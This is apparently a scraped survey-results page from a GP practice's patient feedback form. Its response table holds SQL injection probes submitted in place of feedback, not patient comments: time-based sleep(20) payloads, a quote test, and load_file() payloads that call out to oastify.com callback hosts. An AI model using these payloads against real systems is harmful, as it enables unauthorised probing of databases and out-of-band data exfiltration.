Summary of past responses
You must include a field id or key in your graph shortcode.Recent responses
| Thinking about our GP practice… Overall, how was your experience of our service? | Please can you tell us why you gave your answer? | Please tell us about anything that we could have… | Date |
|---|---|---|---|
Very good’+(select*from(select(sleep(20)))a)+’ | [10] | [11] | July 10, 2023 at 12:28 pm |
Very good'(select*from(select(sleep(20)))a)’ | [10] | [11] | July 10, 2023 at 12:28 pm |
Very good’ | [10] | [11] | July 10, 2023 at 12:28 pm |
Very good’+(select load_file(‘\cs8k38bybbovduw94kotzh1d3492xuwinlbdyamz.oastify.comfct’))+’ | [10] | [11] | July 10, 2023 at 12:28 pm |
(select load_file(‘\pb4xmlubuo78w7fmnx76iukqmhsfg7fv6xuphm5b.oastify.comgsg’)) | [10] | [11] | July 10, 2023 at 12:28 pm |
